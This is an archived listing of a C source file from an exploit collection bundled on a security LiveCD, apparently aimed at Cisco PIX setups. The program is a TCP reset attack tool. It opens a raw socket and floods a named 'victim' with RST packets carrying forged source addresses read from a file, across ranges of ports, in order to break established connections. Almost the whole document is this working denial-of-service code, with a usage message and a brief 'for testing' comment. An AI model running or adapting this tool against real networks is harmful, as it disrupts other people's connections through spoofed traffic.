home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / cisco / pixreset.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  197 lines

  1. /* reset_state.c (c) 2000 Citec Network Securities */
  2. /* The code following below is copyright Citec Network Securities */
  3. /* Code was developed for testing, and is written to compile under */
  4. /* FreeBSD */
  5.  
  6. #define __BSD_SOURCE
  7. #include <stdio.h>
  8. #include <string.h>
  9. #include <stdlib.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <sys/wait.h>
  13. #include <netinet/in.h>
  14. #include <arpa/inet.h>
  15. #include <netinet/in_systm.h>
  16. #include <netinet/ip.h>
  17. #include <netinet/tcp.h>
  18. #include <unistd.h>
  19. #include <time.h>
  20. #include <netdb.h>
  21.  
  22. struct slist {
  23. struct in_addr spoof;
  24. struct slist  *link;
  25. }; /* Spoof list */
  26.  
  27. int
  28. main(int argc, char *argv[])
  29. {
  30.  
  31. int i, int2;
  32. int       sock; /* Socket stuff */
  33. int       on = 1; /* Socket stuff */
  34. struct sockaddr_in sockstruct; /* Socket stuff */
  35. struct ip   *iphead; /* IP Header pointer */
  36. struct tcphdr *tcphead; /* TCP Header pointer */
  37. char      evilpacket[sizeof(struct ip) + sizeof(struct
  38. tcphdr)];
  39. /* Our reset packet */
  40. int       seq, ack; /* Sequence and Acknowledgement #'s
  41. */
  42. FILE      *spooffile; /* Spoof file */
  43. char      *buffer; /* Spoof file read buffer */
  44. struct slist  *scur, *sfirst; /* Spoof linked list pointers */
  45. char src[20], dst[20]; /* Work around for inet_ntoa static
  46. */
  47. /* Pointers when using printf() */
  48. int sourcefrom, sourceto, destfrom, destto; /* CMD Line ports */
  49. int target; /* Target address from inet_addr()
  50. */
  51.  
  52.  
  53. if(argc < 6) {
  54. fprintf(stderr, "Usage: %s spoof_file target sps spe dps
  55. dpe\n"
  56. "target = your victim\n"
  57. "sps = Source port start\n"
  58. "spe = Source port end\n"
  59. "dps = Destination port start\n"
  60. "dpe = Destination port end\n", argv[0]);
  61. exit(-1);
  62. }
  63. else {
  64. sourcefrom = atoi(argv[3]);
  65. sourceto = atoi(argv[4]);
  66. destfrom = atoi(argv[5]);
  67. destto = atoi(argv[6]);
  68. };
  69.  
  70. if(sourcefrom > sourceto) {
  71. printf("Error, start source port must be less than end
  72. source port\n");
  73. exit(-1);
  74. }
  75. else if(destfrom > destto) {
  76. printf("Error, start dest port must be less than end dest
  77. port\n");
  78. exit(-1);
  79. };
  80.  
  81. printf("Used spoof file %s\n"
  82.     "Destination: [%s] ports: [%d -> %d]\n"
  83.     "Target source ports: [%d -> %d]\n",
  84. argv[1], argv[2], destfrom, destto, sourcefrom, sourceto);
  85.  
  86. sleep(1);
  87.  
  88. bzero(evilpacket, sizeof(evilpacket));
  89. /* Clean our reset packet */
  90.  
  91. sfirst = malloc(sizeof(struct slist));
  92. scur = sfirst;
  93. scur->link = NULL; /* Setup our spoof linked list */
  94.  
  95. if(!(buffer = malloc(25))) {
  96. perror("malloc");
  97. exit(-1);
  98. }; /* Allocate for read buffer */
  99.  
  100. if ((spooffile = fopen((char *) argv[1], "r")) <= 0) {
  101. perror("fopen");
  102. exit(-1); /* Open our spoof file */
  103. } else {
  104. while (fgets(buffer, 25, spooffile)) { /* Read till EOF */
  105. if (!(inet_aton(buffer, &(scur->spoof))))
  106. printf("Invalid address found in victim
  107. file.. ignoring\n");
  108. else {
  109. scur->link = malloc(sizeof(struct slist));
  110. scur = scur->link;
  111. scur->link = NULL; /* Cycle l.list */
  112. }
  113. }; /* End of while loop */
  114. }; /* End of if {} else {} */
  115.  
  116.  
  117. free(buffer); /* Free up our read buffer */
  118. fclose(spooffile); /* Close our spoof file */
  119. scur = sfirst; /* Set spoof list current to first
  120. */
  121.  
  122. if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  123. perror("socket");
  124. exit(-1);
  125. } /* Allocate our raw socket */
  126.  
  127. if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on,
  128. sizeof(on)) < 0) {
  129. perror("setsockopt");
  130. exit(-1);
  131. } /* Set socket options for raw iphead
  132. */
  133.  
  134. sockstruct.sin_family = AF_INET;
  135. iphead = (struct ip *) evilpacket;
  136. tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
  137. /* Align ip and tcp headers */
  138.  
  139. iphead->ip_hl = 5; /* Ip header length is 5 */
  140. iphead->ip_v = 4; /* ipv4 */
  141. iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
  142. /* Length of our total packet */
  143. iphead->ip_id = htons(getpid()); /* Packet ID == PID # */
  144. iphead->ip_ttl = 255; /* Time to live == 255 */
  145. iphead->ip_p = IPPROTO_TCP; /* TCP Packet */
  146. iphead->ip_sum = 0; /* No checksum */
  147. iphead->ip_tos = 0; /* 0 Type of Service */
  148. iphead->ip_off = 0; /* Offset is 0 */
  149. tcphead->th_win = htons(512); /* TCP Window is 512 */
  150. tcphead->th_flags = TH_RST; /* Reset packet */
  151. tcphead->th_off = 0x50; /* TCP Offset 0x50 */
  152.  
  153. iphead->ip_dst.s_addr = inet_addr(argv[2]);
  154.  
  155. srand(getpid()); /* Seed for rand() */
  156. while (scur->link != NULL) {
  157. seq = rand() % time(NULL); /* Randomize our #'s */
  158. ack = rand() % time(NULL); /* Randomize ack #'s */
  159. sockstruct.sin_port = htons(rand() % time(NULL));
  160. iphead->ip_src = scur->spoof; /* Set the spoofed address
  161. */
  162. sockstruct.sin_addr = scur->spoof;
  163. for(i = sourcefrom; i <= sourceto; i++) {
  164. for(int2 = destfrom; int2 <= destto; int2++) {
  165. usleep(2); /* Sleep 5ms between packets
  166. */
  167. seq += (rand() %10)+250;
  168. ack += (rand() %10)+250;
  169. tcphead->th_seq = htonl(seq);
  170. /* Set sequence number */
  171. tcphead->th_ack = htonl(ack);
  172. /* Set ack number */
  173. tcphead->th_dport = htons(int2);
  174. /* Set destination port */
  175. tcphead->th_sport = htons(i);
  176. /* Set source port */
  177. snprintf(src, 20, "%s",
  178. inet_ntoa(iphead->ip_src));
  179. snprintf(dst, 20, "%s",
  180. inet_ntoa(iphead->ip_dst));
  181. /* Copy info to src and dst for printing */
  182. printf("TCP RESET: [%s:%d] -> [%s:%d]\n",
  183. src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport));
  184. sendto(sock, &evilpacket,
  185. sizeof(evilpacket), 0x0,
  186.     (struct sockaddr *) & sockstruct,
  187. sizeof(sockstruct));
  188. /* Send our evil packet */
  189. };
  190. };
  191. scur = scur->link; /* Cycle the spoof ips */
  192. }
  193. scur = sfirst;
  194. return (1);
  195.  
  196. };
  197.